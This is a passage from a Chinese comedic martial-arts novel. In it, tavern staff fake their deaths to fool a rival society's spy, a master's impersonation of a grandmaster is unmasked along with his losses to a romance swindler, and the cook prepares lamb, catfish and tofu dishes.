“这我倒是不知,毕竟我与师父也有数年不见了,谁知他到底在搞什么名堂。”张清寒十分自然地揪了揪顾名思的凌乱的头发。 乔四方这时才收起手中的匕首,摇头晃脑片刻忽而恍然大悟,直冲冲地就跑向了柜台,从那柜子里密密麻麻的账本里掏了一本出来,翻开泛黄的账本,又从匣子中取出了个小纸条,一一比对着账本里字。 账本上的壹贰叁肆伍陆柒都是有学问的,个个排列组合皆是不同的意思,那小纸条上的密语正是对照了账本上的数字而来。 张清寒一打眼看就知是怎么回事了,他皱了皱眉头道,“你这纸条是什么时候收到的?” 乔四方眼珠子一转,暗道不好,咧个嘴就呵呵傻乐着,“也没多久,大概也就是还未与兄长相认的时候。” “……一两个月前吗?”张清寒笑得愈发慈祥道,自打他当了这酒楼东家,笑得是越来越多,只不过大多是被气笑的。 “我这不是一见着兄长高兴,就给忘了嘛,我马上查这纸条是什么意思。”乔四方实在是不敢看张清寒可怕的笑脸,低着头忙不迭地“哗哗”翻账本。 “洪泽会请宗师出山,老大危!”乔四方乖乖地念了出来。 这一听就是皇城司探子传来的密报,怕是那洪泽会一有动静,消息就送来,结果遇上个马大哈乔四方。 “扣工钱!”张清寒扶额叹息道。 “老大你知道的,我从小没了娘亲……”七尺八壮汉乔四方瞪大了眼睛,抿起嘴来十分伤心道。 “你知道的,你也可以从现在没有脑袋。”张清寒灿烂一笑。 “……那我还是选择没有工钱吧,我就喜欢义务劳动,劳动最光荣!”乔四方赶紧跑路,躲在了角落里生怕再招惹到张清寒。 “所以是真的有人要东家的命,那如果这个是假宗师,是不是说明真宗师已经在路上?”马陶陶皱眉分析道。 众人一听纷纷小鸡啄米般点头,十分害怕地目不转睛看着张清寒。 “无事,我和我师父联手,就算是北斗大拿和昆仑道人一起来了,我们也能对付。”张清寒稳如泰山道,随后一低头,好嘛自家师父已然被毒晕了。 程六水手疾眼快地从怀中取出了个小瓶子,献宝般道,“没事没事,我有解药,大概也许应该能解毒。” “大概也许?”赵玉雨眨巴着眼睛问道。 “这都是实验品嘛,我也没在真人身上实验过,总有些误差的,但你们放心,我这制药技术是十分一流的。”程六水挺起胸脯,信誓旦旦道。 张清寒亦是充满信任地点了点头,程六水这才掰开顾名思的嘴,给人硬塞了颗解药进去。 一炷香过去了。 两炷香过去了。 三炷香过去了。 “那个……六水你这真是解药?”杜少仲惴惴不安道。 程六水无辜地望了望屋顶,又看了看地面,悄摸靠近张清寒轻声道,“东家,你师父没什么基础病吧?” “何为基础病?”张清寒疑惑道。 “就是比如肝不好肺不好胆不好什么的。”程六水小声解释道。 “他哪哪都好。”张清寒皱眉回忆道,紧接着又似是想到什么道,“但他酒量极差,喝一口就晕了。” 这下程六水“啪啪”拍了两下大腿道,“我说呢,我这解药里加了不少酒曲,是那日我顺手从少仲那里拿的,没事没事我的技术你们放心。” “解药里放酒曲做什么?”杜少仲都傻了,他就说怎么觉着酒曲少了一疙瘩。 “万物相生相克,多试试总能发现意料之外的收获,我这叫做科研精神。”程六水扬着头骄傲笑道。 “说实话。”张清寒无奈地看向程六水道。 “好吧好吧,我手头紧嘛,解药里有一味龙骨,实在是有些贵买不起,我想着龙骨性寒味甘,可定惊安神,那酒曲性寒味甘,安神效果更是好,酿成酒一喝倒一个。”程六水揪着自己的衣袖嘟嘟囔囔道。 赵玉雨都想赶紧捂住自己的耳朵,她怎么觉着东家的师父怕是醒不过来,那要是大师父醒不过来,东家说不定就打不过正在路上的武林宗师,我的 个天爷啊。 就在众人皆感叹命运多舛伤春悲秋时,那窝在圈椅里的顾名思手指头突然动了一下,他只记得自己正夸奖好徒弟呢,浑身虽软绵绵的却也还好。 可如今这怎么头痛欲裂,身上似有千斤重般难受,顾名思勉强睁开条眼缝,就见酒楼这帮伙计绕着自己围成了圈,瞅这架势怎么像是在超度呢? 顾名思恨不得立时就闭上那条眼缝,就当作自己从没醒来,最好自己从没来过这里,这都是大梦一场。 可惜世间不如意事十之八九,他的耳边响起了震耳欲聋的声音,“醒了醒了!我看见大师父睁眼睛了!” 第75章 真大圣假猕猴 “我没醒我没醒啊啊啊住手……”顾名思宽厚的肩膀也挨不住乔壮汉的用力摇晃,本就是香露丸刚解,还食了不少酒曲,嗷一嗓子好家伙栽在一旁又晕了过去。 顿时场面一片寂静,酒楼这几人你看着我我看着你,每个人眼睛都滴溜溜地转,偏生谁都不敢说话。 张清寒最后只能长舒一口气,拽着自家师父的手腕一把脉,皱着眉翻来覆去地把脉,久久不语,瞅着更是吓人了。 程六水心虚极了怕极了,她虽是想起了这些个药理制药的手艺,可却也是鲜少给人吃的,要是真将大师傅给吃出个好歹了,那可如何是好啊。 她想到这,悄咪咪地偷摸看了眼大师傅,脸色苍白如绢半点血色都没有,一个时辰前还是耀武扬威的猎豹了,现在直接成了病猫了,老天爷啊方才那嗓子不会是回光返照吧,急得程六水坐立不安上蹿下跳。 殊不知程六水看大师傅,那张清寒就在那儿看程六水,这人啊就是近朱者赤近墨者黑,张清寒好端端一个再正经不过的皇城司使,也学得作怪耍弄别人了。 张清寒眼看着六水三五瞬间就怕了,如霜打了茄子般,心下又是不舍得了,只能认命般道,“师父无事,只是被摇晕了,没什么大碍的。” 一听这话,程六水这才如同大赦,挺直腰杆抬起了头,然后翘起的唇瓣惊得能塞下个鸡蛋了,她不可置信地眨了眨眼睛,张东家怎么泼了一大碗水在大师傅脸上。 如此相爱相杀的师徒吗,她还真是没怎么见过,不能说前无古人后无来者吧,也算得上当世之中的惊世骇俗了。 “噗噗噗。”顾名思睁眼的那一刻,还以为自己被他的倒霉徒弟扔河里了呢,这河水是真凉了。 “师父你醒了。”张清寒嘴角沁着一抹笑道。 顾名思看看了众人,又看了看张清寒手里地碗,他嘚嘚瑟瑟指着这碗道,“你这是做什么?” “是徒弟太过担心师父的安危了,这才不得不出此下策。”张清寒大萝卜脸不红不白道,那语气听着还真像个关心师父的好徒弟。 顾名思也没客气,随即翻了个白眼道,“信你,猪都能上树了。” 这白眼翻得倒是好,他余光一扫屋外竟隐隐擦黑,屋里都点上油灯了,这下被折腾得够呛的顾名思才真的坐不住了,他赶紧撑着身子坐了起来,神情从未有过的肃穆庄重道, “不好不好,这天色黑了,我还没取你小命呢。”顾名思紧紧拽着张清寒手,满眼皆是无比真挚。 张清寒一时间哑口无言,不知是自己疯了聋了,还是师父傻了痴了。 “大师父,不是洪泽会请了大宗师来取东家性命吗?”一旁的杜少仲十分不解地问道。 “对啊。”顾名思重重地点了点头。 “那您在这儿不帮东家,反而也要来取东家性命?”赵玉雨紧接着出言道。 顾名思野性十足的面庞划过难得的一丝憨笑,随手便抓起了自己方才的人皮面具戴在脸上道,“我不就是大宗师吗?” “???”马陶陶震惊得揉了揉自己的小耳朵,无言地望向乔四方,显然这对小情侣谁都没听懂。 这时程六水忽然一拍脑门道,“莫不是大师父你戴了这人皮面具,装成了北斗大拿,接了这桩洪泽会的生意?” “哎小丫头你孺子可教啊,这买卖多好,我用了旁人的名,做了我这不厚道的徒弟,最后我拿钱走人,面子里子不都是我的吗?”顾名思说罢直接哈哈哈爽朗大笑起来。 “做了不厚道的徒弟?师父我看你是想连根手指头都不动,去坑那洪泽会吧?”张清寒实在没忍住也翻了个白眼道。 “那当然了,咱俩是师徒,为师顶多就是打你几下嘴巴子,哪能真做掉你。咱们师徒就演出戏,洪泽会的探子亥时来望风,要是见你死翘翘了,那为师这钱就立马到手了,当真是空手套白狼啊。”顾名思捋着人皮面具上的假胡子振振有词道。 “这不就是骗人吗?”杜少仲不假思索道,随后紧接着话锋一转开口道,“骗得好骗得妙骗得呱呱叫,谁叫他们之前还想和我们火拼来着。” “高啊大师父你真是高,我说呢东家这做生意做得风生水起是随了谁呢,原来是跟您学的,我本以为东家是足智多谋精明强干,没想到您才是聪明绝顶盖世英雄啊。”程六水十分殷勤地给顾名思到了杯麦茶道。 顾名思一听是头不晕了眼不花了,这软绵绵的双腿也能下地蹦蹦跳跳了,他一看这小姑娘着实不错,饭做得好长得好说话也好听,那手不自觉地就接过了麦茶。 刚想一饮而尽,眼前便闪过了昏迷前的种种,当时场面乱得很,是谁给自己下毒来着,啊顾名思又抬头一瞧,我滴个乖乖就是这小姑娘,顿时这手里的麦茶些许就有那么一些烫手了。 “……我能喝吧?”顾名思求助般地看向一旁的好大徒道。 “喝吧,喝完取我小命。”张清寒面色沉静,云淡风轻道。 顾名思脸上扬起了灿烂的笑容,老老实实地就把麦茶放在了桌子上,哪怕是再口渴也不敢喝啊,这小姑娘怕不是绝命厨神吧。 “真好喝。”张清寒冷着一张脸,好似没事人般拿过那杯麦茶就喝光了。 这才反应过来的顾名思,指着自家好大徒,就开始指指点点起来,实在是欺人太甚,不仅给自己脸上泼水,居然还骗自己的水喝。 亥时悄然已至,酒楼周遭皆是静悄悄的,宵禁时分街道上自是无人敢随意走动的,而酒楼里却亦是静得吓人,大门紧闭屋内昏黄的烛光映出了幽微的影子。 那垒好的青瓦片悄然被人移开了一片,隐于黑夜中探子伸头一瞧,饶是江湖血雨腥风皆见识过的也都浑身一颤,六具尸身奇形怪状地置于酒楼各处,那本是武林难得一见的剑道天才张清寒竟如失了操控的提线木偶般,四肢垂落仰颈而亡,脖颈上嵌着一温润透亮的白玉棋。 而其余酒楼几人更是死状惨烈,一招毙命在这儿居然成了不幸中的万幸,那七尺八的壮汉扭曲着身子,恍若筋骨皆断活活疼死的,那狰狞的面容说不出地骇人。 几个姑娘倒是算是“北斗大拿”怜香惜玉了,只不是悄无声息地趴在桌子板凳还有地上,仿若毫无生气的深春桃夭,只余那逐水飘零的宿命。 最后一文弱书生一头栽倒在酒缸旁,想是生前一个劲地往外喷血,那血迹沾染得哪里都是,可叹再鲜热的血液也总有凉透的时候,无声无息地死了便什么都不作数了。 那洪泽会的探子再仔细瞧了两遍,这才放下心来,一只烟火闪于空中,那远处的钱庄便尽数将银钱打进了“北斗大拿”处。 探子纵身一跳,渐渐隐身于黑暗中,忽然耳边传来了极为细微的脚步声,这静巷暗夜行走间竟如此隐匿,定然是极为少见的高人,他再这么一瞧,心下便又定了,原是北斗大拿从不远处慢慢悠悠走来,三五步正要推开酒楼大门。 这洪泽会的探子也是老江 湖出身,干过的人命买卖没有百八,也有几十了,自然心领神会,这杀手总有些不放心或是志得意满,要回去瞧瞧的,不曾想一代宗师也有这等兴致,他蒙面巾下不禁笑了笑,再不回头地飞檐走壁而去。 酒楼前的北斗大拿依旧白衣白衫超逸出尘,他先是抬头瞧了瞧那酒楼上的牌匾“十全酒楼”,随后再望了望屋里的烛光,虽有些犹豫却一不小心摸了摸自己的肚子,这才下定决心试探性地拍了拍门。 谁知这一拍倒好,那大门看似紧闭实则根本就是个纸糊似的,“吱呀”一声就开了个精光。 “打扰诸位了,小老儿我经好友介绍,特来此处一尝人间罕见之美味佳肴……”北斗大拿刚开口便没了声音,入目皆是惨不忍睹的人间悲剧,尤其是那坐于主位之人脖颈上的白玉棋,怎会如此眼熟刺眼。 北斗大拿既无大声叫喊,亦无撒腿就跑,他转过身轻轻关上了房门,几步便来到了张清寒身旁,刚想伸手一探,就听身后刚刚关上的门又开了。 “哎呀钱到手了,别装了咱今晚吃香的喝辣的穿金的戴银的。”顾名思顶着“北斗大拿”那张人皮面具喜不自胜地推开了门道。 结果两人四目相对,看了个正着,真大圣假猕猴,虽是不好认却依旧破绽极多,更别提那猕猴都舞到正主前面了。 “小老儿我竟不知,我何时有了个同胞兄弟啊。”北斗大拿周身气势一变,面上笑着却比鬼还吓人。 “那个……上月有的。”顾名思这下子是彻底没招了,那股子空手套白狼的喜悦被吓得烟消云散。 “那哥哥你再给我解释解释,这是怎么回事?”北斗大拿眨眼间一颗锋利无比的白玉棋直逼顾名思脖颈正中间,那顾名思飞身一跃,如虚影鬼魅般闪过,那白玉棋一个不小心径直砸进酒楼的顶梁柱上,瞬间那柱子摇摇欲坠起来,勉强支撑着。 张清寒瞧瞧扒开了一条眼缝,庆幸中又带着许多心疼,庆幸当初选了根十分结实的木桩子,心疼又得花钱修酒楼了。 第76章 傻白甜大户 这下子北斗大拿眼中更是饶有兴致了,眼前这人招式居然有几分似曾相识,细细回想竟是自己好友的些许路数,更遑论身手如此轻绝,可断不会是他那成天就知道吃吃喝喝的好友太白散人。 那便只会是与他有过几面之缘的讨厌鬼了,北斗大拿心中想定了更是气愤,三五瞬便当真在这酒楼动起手来,只见他身轻如燕,指尖大放异光,刹那间虚空中竟现出了一绝世棋盘,那棋盘中乃是一你死我活的杀局。 而顾名思一改方才的心虚,吊儿郎当地靠在酒楼的大梁之上,心下早已了然,这险象必死局是北斗大拿的看家本领,常人绝不可见,定是认了真上了心,非要与对方决出个高下才使出来的。 “既是老相识,又何必搞这些花里胡哨的?”顾名思一手掀掉了英俊面庞上的人皮面具。 “呵,我就知道是你小子,老相识啊呸!你说说你扮作我做什么?这一屋子性命又是怎么回事?”北斗大拿一看话音刚落,那宛若游龙般的黑白玉棋就要直奔房梁上的顾名思而去。 这下子顾名思是在房梁上坐不住了,自然了坐不住还有旁人,比如那本来胳膊腿扭曲着的七尺八壮汉乔四方,以及被黑玉棋一棋封喉的张东家,就连桌子凳子上的姑娘们都炸了尸,一个个脑袋抬起奋力地想要抓住那阻止那砸向横梁的黑白玉棋。 “放过那根梁!”程六水放声大叫道,顶梁柱本来就是要不成了,要是这大梁再有个三长两短,这日子可怎么过啊,酒楼不能开一年修三次吧。 这给北斗大拿吓得身躯一震,转过头来一瞧,我的个天爷啊这屋子里的人怎么一瞬间就活蹦乱跳了起来,尤其是那脖子上夹着黑棋子的男人,身手如此之高简直就是个一蹦三尺高,“嗖嗖嗖”一眨眼就蹿了上去,整个人仿佛杂耍般,手脚并用地接着那玉棋。 而那顾名思和七尺八壮汉在其身后飞来荡去地挡着遗落的玉棋,这两人胳膊长腿长的,在那梁上一挂,不知道还以为这是什么山林野地呢,跟只猴子似的荡来荡去,就差摘桃吃了。 北斗大拿本就是饥肠辘辘而来,现下见了眼前这幕,一时间竟不知该说些什么做些什么了,岁数大见得多了,早就练出了水油泼不进的平静面孔,看似洞察世事其实是实在没招了。 顾名思领着酒楼众人乖乖地站在北斗大拿面前,此时他终于换了身自己的衣衫,粉紫长袍端是说不出的风流倜傥,俊而不媚,放荡不羁间偏又生了些招人喜欢的爱人肉。 “大拿你别生气了,我不过是用你名号赚些钱嘛,你知道的我实在是有难处。”顾名思套着近乎道。 “用我的名号去杀人,合着钱进了你的口袋,坏事我全背着了?”北斗大拿随手扔起了一根筷子,径直削掉了顾名思一缕发丝。 “这也没有坏事啊,你看这人不都没死吗?你看看我的好大徒张清寒,这不活蹦乱跳的嘛。”说罢使劲拍了拍张清寒的身子骨,确实是邦邦硬啊。 “晚辈张清寒见过大拿前辈。”张清寒礼数周全地上前行李道。 “行了别整那些虚头巴脑的,你看这七尺八大块头也好好的,外加酒楼三朵金花,酒缸子书生都没事。”顾名思将弯着腰的张清寒撇到一边,细数着酒楼诸人。 “哦?那人没杀成,你方才说什么钱到手了?难不成你在这做戏给人看,最后要我给你收拾烂摊子吧?”北斗大拿冷笑道。 “哎呀你这么大个宗师,洪泽会也打不过你,怎么敢去触你霉头,顶多是吃个哑巴亏了,不碍事不碍事。”顾名思赶忙找补道。 “合着你这么说来,倒是我小题大做了,你这算是劫富济贫行侠仗义了?”北斗大拿一瞬间就到了顾名思身前,张牙舞爪地就要扯顾名思的头发。 “啊啊啊别扯,这可是我为我家柔儿精心养的秀发。”顾名思慌乱间大叫起来。 “柔儿?”马陶陶竖起耳朵,瞬间从保命模式切换成了吃瓜模式。 “师父,你给我找师娘了?”张清寒反应倒是慢半拍道。 顾名思好不容易从北斗大拿手里抢过自己的头发,细致整理好才道,“你师父我都多大了,成家立业不是很正常的事吗?” “所以你假借大拿前辈的名号赚钱,是为了娶媳妇?我记得师父你这些年手头宽裕得很那,不至于吧?”张清寒震惊道,幼时他虽是六白山的留守徒弟,却也是吃穿不愁的,自家师父口袋里是从未缺过钱的。 “你岁数小不知道,娶妻生子哪样不都花钱啊,莫说那置屋买地,就说日常用度也远比一人时多上不少呢。你师娘是个再温柔贤惠不过的人,眼下我们虽未成亲,可我的银钱都是归她管的,等我再挣挣就能成亲了。”顾名思嘴角挂着笑意,是那实实在在的幸福了。 “没想到,大师父你还是个妻管严呢。”赵玉雨不禁感慨道。 “那倒是算不上,只不过柔儿爹娘前些年欠下一堆债便匆匆撒手人寰了,她一个弱女子独独在这世间支撑属实不易,我那些钱放在她那儿先还了她的债,我再多挣些便是了。”顾名思眼中颇为心疼道。 程六水听着听着便觉着哪里不对,她毕竟是个在现代训练出高度具备反诈意识的人,哪怕是一点子猫腻都能令她的神经紧绷起来,只能试探性开口道,“大师父,你上次见柔儿是什么时候” 顾名思听了此言竟还神情颇为伤感道,“得有个一年零三个月余二十五天了,她原就是个行走江湖的游商,我又一直在外面挣钱,总是碰不到。不过,洪泽会这笔钱到手了,我就能见着柔儿了。” “为何又能见着柔儿了?莫不是你们约定好的,有了这些钱就成亲?”马陶陶好奇道。 “倒也没说成亲,只是柔儿说要拿这笔钱做些大生意,可这钱数目大她那儿的票号取不出来,便要来江陵找我拿钱。”顾名思一脸思念道。 听到这就连方才气愤的北斗大拿也不忍再看顾老弟的一双多情目了,只能径直走向他,轻轻拍了拍他的肩膀头道,“顾老弟,这钱你莫要给那什么柔儿了,你还是给自己买点补药,补补脑子吧。” “???北斗大拿你什么意思?”顾名思就算是再笨,也能听出这人在骂自己。 “老弟啊,这女子你一不知底细,二不朝夕相处,却将那全部身家托付给她,现在竟还搞这些见不得人的赚钱勾当,就为了让这女子做生意,你好好想想是不是哪里不对?”北斗大拿恨铁不成钢道。 顾名思梗着脖子愤愤不平道 ,“你质疑柔儿对我的真心?” 北斗大拿饿得都脚打后脑勺了,实在是没力气应付这么个中年恋爱脑了,只能装聋作哑大口喝着麦茶充饥。 “师父,你与柔儿师娘认识多久了?”张清寒紧接着问道。 “到了明日便是满一年零四个月了。”顾名思答道。 “老天爷啊合着你们就相处了五日?五日你就给啥都给人家了?”程六水听到这儿,已然非常特别极其地确定,这个柔儿就是个杀猪盘,不曾想宰了个混迹江湖多年身家丰厚的大户,大户于情爱还是个傻白甜,这柔儿才生了养猪猪肥了再杀猪的心思。 “你们懂什么,情不知所起,一往而深……”顾名思深情道。 于是,在他绘声绘色地描述下,杜少仲画出了张恍若真人的人像,那半夜被薅起来的方知府拿着这人像一看,再急吼吼地从一沓子通缉令里翻了又翻,还真找出了张一模一样的脸。 沈柔儿,真名沈怜柔,乃是南越流窜至大乾的一江湖骗子,貌美而自知,最善迷惑心智不坚之男子,大批受害者皆损失银钱,却仍旧爱这沈怜柔爱得死去活来,后被朝廷发现随即通缉,可惜至今未见踪影。 “不,这不可能是真的,我不信我不信!”顾名思对着方知府的通缉令咆哮大叫,方知府赶紧安慰着,文书在一旁记录着顾名思这一年零四个月损失的银钱,都吓得把纸吃了,我的个乖乖哪来的冤大头啊。 张清寒也是好不容易摁住了自己这中年被骗的师父,抬头望了望天,哎又是一个不眠夜啊。 而乔四方则去寻新的顶梁柱去了,赶紧给换上酒楼可别再塌了,其余人则引着北斗大拿老前辈上楼歇息了,这一天天真是折腾死人了。 “大拿前辈,小店简薄,您暂且住下,有什么吩咐尽管说。”马陶陶道。 北斗大拿一看见床就安下心来,坐在上面不肯起来,紧接着开口道,“你们这厨子是哪位啊?小老儿我有一好友,名叫太白散人的,去岁尝了你们这儿的吃食,那是赞不绝口啊,这不我也馋了,特地来寻。” “是我,大拿前辈您想吃什么就说,当初太白前辈在这儿可是吃了不老少呢。”程六水一听是熟人介绍的,心下是乐开了花,这一传十十传百,以后她说不定就是闻名江湖的程大厨了! 第77章 鲶鱼炖茄子 又是一天朗气清的日子,柔和暖洋洋的日光照在重新收拾妥当的酒楼里,刚刚换上的顶梁柱一看就是经年的老木头了,上了油还能挺上个几十年。 哭天抹泪的顾名思在酒楼里走来走去跑圈,跟在后面的张清寒只能不停地安慰恋爱脑师父,而拿了洪泽会不义之财充公的方知府笑得那叫一个欢呢。 酒楼伙计们则正在忙忙碌碌地收拾这酒楼,昨日那么一闹,处处都是杂乱,且有的收拾。 唯独北斗大拿这小老头闲适得很,他两耳不闻窗外事,一心只等吃美食,无事便拖着个木摇椅到了那日光下,一下子就躺了进去,斑驳光影在他脸上映出了说不出的安逸。 程六水正在后厨紧赶慢赶地做菜呢,她昨夜一听武林大宗师不远千里来吃自己做的菜,那真是欢欣鼓舞喜笑颜开,大半宿都没睡着,恨不得使出浑身解数做一桌硬菜。 这一大早公鸡还没叫呢,她倒是醒了,正是春意盎然时,天刚擦亮也不冷,程六水拉着她的买菜小板车来到了码头,码头上早就热闹地叫嚷开了,江陵本就是个依江而生的城池,多少繁盛都是从这码头起的,久而久之每日清晨便有数不尽的商户来这儿做生意摆摊,再加上码头新鲜运来的货物吃食,当真是繁荣至极。 程六水早就是码头集市的常客了,有时玉雨起得早就会同她一起来,陶陶则是怎么叫也叫不起来的,半点也离不开那暖烘烘的被窝。 张四婶家的老豆腐离老远就闻见香味了,隔壁王老八家卖的莲藕也好得很,粉糯粉糯的,这要是煲汤定是能糯到拉丝。程六水顺便又在老八大哥家拣了好些新鲜的菜,那露水都在上面呢,一瞧便知是后半夜在菜地里采来买的。 “轰隆隆”一声,好大的声响从程六水身后传来,一艘巨大的商船停靠在了码头,船工们打开了舱门就在那卸货,商船主家也出来透气了,一看便是经商的富贵人家,身穿回字纹云锦缎,说起话来就是美滴很美滴很,听着像是西北来的。 程六水倒没被这富贵门户迷了双眼,她那一双眼全掉在船工手里卸下来的货物那,大块大块的冰里正是新鲜的羔羊肉,成扇地扔在了码头上。 红白分明的羊肉半点膻味都没有,纹理清晰质地紧实,万幸冰块冻得相当好,这才这羔羊肉从那遥远的西北漂流而下到了江陵这地界。 能一大早来这码头集市的都是吃上的行家,自然没人能放得过这么好的靖远小肥羊,一窝蜂都冲了过去要买。 程六水是何许人也,那是种菜摘菜抢菜的一把好手,她一看乌泱泱的人,那是撒丫子就跑啊,亏得她身量纤细到处钻空,又仗着到底是学过几招三脚猫功夫的,愣是让她拔得头筹,在人山人海中抢到了一扇靖远羊羔肉,甚至还有余力又买了条刚捞上来的鲅鱼。 待到她拉着沉淀淀的板车从集市出来,正巧迎面就遇上了在衙门待了一夜的张清寒和顾名思,张清寒本是扶着面色灰白的顾名思的,毕竟绝大多数人都承受不住人财两空的悲痛,无论他是不是武林高手。 “徒儿,你告诉为师这都不是真的!”顾名思咧着一张嘴说话比哭还难看。 张清寒也是没了力气争辩,只能无言地拖着自家师父往酒楼走去,结果一抬头就见着六水披头散发衣衫七扭八扭地从集市走了出来。 他下意识地就抬腿跑去,三五瞬便接过了六水身后的板车道,“今日怎么这么早,我本想带师父回去,再陪你一同来集市逛逛。” 说着说着便不禁捋了捋程六水被挤乱的头发,却被程六水灵巧地躲了过去,张清寒这才意识到自己的不妥,侧头看了看远方。 “东家没事的,我睡不着,就早点过来逛,今天我可是买了不少好东西!”程六水本也是有些羞涩尴尬的,可一看自己费劲九牛二虎之力买的食材,兴奋得是什么都忘了,一个劲地拉着张清寒说着。 “有了媳妇忘了师父,师父的命好苦啊,师父没有媳妇了哇哇哇……”顾名思行尸走肉般拖着脚步走到了这俩人跟前,上来就哇哇哭着说着。 “哎呀师父你说什么呢!”张清寒赶紧上前捂住了顾名思的胡言乱语。 程六水这才眨巴眨巴眼睛,赶往随着这对师徒回了酒楼,谁能想到昨日还耀武扬威发大财的武林前辈,今日就成了为情所困穷困潦倒的落魄人呢,真是造化弄人啊。 昨日虽混乱却没有伤着厨房一星半点,照样是窗明几净青菜米面摆放得整整齐齐的,程六水从板车上取下来已然化得差不多的靖远羔羊肉,实在是宝贝得不得了,就是在现代能跨越几百公里买到正宗西北靖远羊肉都是件难事,肉是能买到的,正不正宗是不是羊肉就不知道了。 就算是肉到了家发现不对,也是晚了的,大多都是赔款了事顶多再送两张优惠券。可现在不一样了,她在古代竟买着了!这靖远羔羊肉肉质鲜嫩,味道鲜美,若是炖煮得宜那便是一抿就化了,还偏生只有羊肉的香没有羊肉的膻,这哪个厨子能受得了啊。 程六水先是将那羊羔肉洗去血水,切成小块,直接就丢到那大铁锅里,放点姜片黄酒花椒煮着了,肉好哪里还需要什么别的呢。 这时,她才腾出手去收拾别的菜,先是从自家地窖的冰里取出了半扇排骨,“哐哐哐”几下排骨就成块了,简单焯个水祛除了肉腥,便直接拿了一砂锅水将排骨绿豆葱姜扔了进去,小火咕嘟嘟滚着,程六水不一会儿又将粉糯藕块放了进去,这绿豆莲藕排骨汤清热降火,配那清炖羊羔肉是再好不过的了。 “啪嗒啪嗒”的声音从不远处水盆里传来,原来是今早的鲶鱼还活蹦乱跳着呢,怎奈程六水不是个怜香惜鱼的大好人,只见她手起刀落十分麻利地将这一 尾好鱼收拾得干干净净滑不溜手,连肚皮里的黑膜都刮得不剩了。 因是新鲜极了的鲶鱼自然也少了许多去腥的琐碎事,只是切成鱼块摆在一旁。程六水这才腾出功夫来炒料,葱姜蒜辣椒自是不必说,最重要的便是自家酿的黄豆酱,油锅炒香滋啦滋啦的香气瞬间与羊肉汤的味道融合在一起。 世上本就没有不透风的墙,更何况是酒楼的后厨与大堂也就那么一墙之隔,在摇椅上望天看地的北斗大拿,都快坐不住了,险些就要同自家太白老友一样,拎个凳子做灶台边吃了。 万幸他还是有些宗师的深沉的,到底是没起来身,当然了这也不是他忍住没起身的,而是被化身为碎碎念幽怨大王的顾名思绑住了腿脚,这家伙就是个可怜的祸害,可叹北斗大拿是个再心善不过的人,见顾名思成了如今模样,只是狠狠锤了他两拳,锤了几口血出来,算是他冒名顶替的惩罚。 而程六水自是无暇理会前厅的鸡飞狗跳,她正专心做那鲶鱼炖茄子呢,鲶鱼在油锅里煎得喷香,长茄子切成滚刀块也放了进去,半锅热水再倒了清酱白糖胡椒进去便就咕嘟着吧,千咕嘟豆腐万咕嘟鱼,哪能不入味不好吃。 如今灶台上做些的都是荤菜,吃多了也是怕腻的,程六水常年下厨最是了解,她早就有所准备了,取了方才在码头集市买的老豆腐切块,直接下油锅炸成六面金黄,偏生不仅要金黄还要硬实,这回她做得豆腐颇有学问,叫做博山豆腐箱,那豆腐是既能吃又能装。 既是豆腐箱,自然要有盖子有内里了,程六水小心翼翼地切出了豆腐盖,又用极小的勺挖出了些豆腐瓤。 猪肉馅混合着泡好的木耳香菇海米碎,再加上这些挖出来的豆腐搅成馅,加上写葱姜水盐巴白糖这么一拌,再一点一点把这馅料填进一个个小小的豆腐盒子里,盖盖装盘上蒸锅,蒸了不一会儿就妥帖了,最后淋上些勾芡好的高汤,就齐活了。 最后程六水再将炖煮了一个时辰的羔羊肉捞出来摆于盘中,在配上葱末蒜末白芝麻辣椒面白糖清醋混成的蘸料,她就这么一闻,都想先偷摸吃一筷子了,所幸程六水是个极有职业操守的人,老老实实地端菜到了前厅。 前厅本还破马张飞着,一看有的吃了,众人都乖乖坐好,那刚刚被踹翻的板凳都悄摸给扶了起来。 “吃饭啦!”程六水高声道。 “来了来了!”四面八方的馋鬼们涌来,七嘴八舌手忙脚乱地接过菜盘,程六水见状笑了笑,又从后厨拎了个极宽极深的饭桶,挨个碗盛起饭来。 “北斗前辈,今日准备不周,您多担待。”程六水见老前辈一来便道。 北斗大拿现下肚皮里当真是空空如也了,他往桌上这么一瞧,连连点头道,“你这小姑娘当真有点子本事,俗话说色香味俱全,如今我没下筷,但色与香却是十成十的。” 第78章 夫妻肺片 “前辈谬赞了,我不过是在前辈面前班门弄斧,前辈走南闯北定是吃过不少美食珍馐,我又哪里比得过呢。”程六水是个有时候十分体面的人,除了会给说成筐的歇后语,还会说不少场面话。 北斗大拿一听这恭维,虽是摆了摆手可也是喜笑颜开,刚想再言,就见眼皮子底下的顾名思筷子一个劲儿地动,吃完这个吃那个,一刻都不停歇,一张嘴鼓鼓囊囊的,半点看不出来被人骗心骗财的伤心模样。 这下子北斗大拿也不整那些个虚头巴脑的了,拎起筷子吃了起来,他是个十分会养生的武林宗师,先是盛了碗绿豆莲藕排骨汤,白瓷勺轻轻一舀,糯糯藕丝已然在汤里化开,微甜豆香为这排骨汤更增了几分清爽。 虽是小小一碗汤,余味却在他唇齿间徘徊久久不散,这汤煨得恰到好处,又极是正宗,仿若是个两广老师傅做的。 他恋恋不舍地放下汤匙,转头夹了一筷子羊肉,这羊肉设成了块,一戳便是颤颤巍巍的,蘸了些碟子里的料汁,入口便全是羔羊肉的香而不膻肉香四溢,肉汁在嘴中爆开,与那咸甜酸辣的蘸料结合起来,根本就是停不下来,只能一口接着一口,偏生这羊肉炖得极为软烂,就是那年近古稀的老翁都能吃上半盘子,更何况是一代武林宗师了。 但显然盯上手抓羔羊肉的不止是北斗大拿,还有顾名思以及酒楼一干人等,先前酒楼诸人还顾念着客人先动筷,只能勉强咽下自己的口水,眼巴巴地看着。现如今那客人都热火朝天地吃了起来,他们一下子就暴露了本性,筷子齐刷刷地夹起来,愣是给北斗大拿挤得没地方夹。 北斗大拿是何许人也,自然不会同这些小辈们计较,只见他歪头看向程六水道,“程小师傅,这手抓羔羊肉还有吧?” 此话一出,顿时屋里没了声响,所有人的眼睛都贼溜溜地望向程六水,就跟那饿猫见着肥耗子一般。 “有的有的,后厨里还有两大盘子。”程六水本是在那儿慢悠悠地摘鱼刺,一根两根三根,鲜白的鱼肉瞧着极是诱人,刚想张嘴享用,就被叫住。 这下子众人一时间皆在摇摆不定,这羊羔肉着实是好吃,可六水筷子尖上的鱼肉瞧着也是极为不错,到底是先去后厨抢羊肉呢,还是在桌子上捞鲶鱼呢? 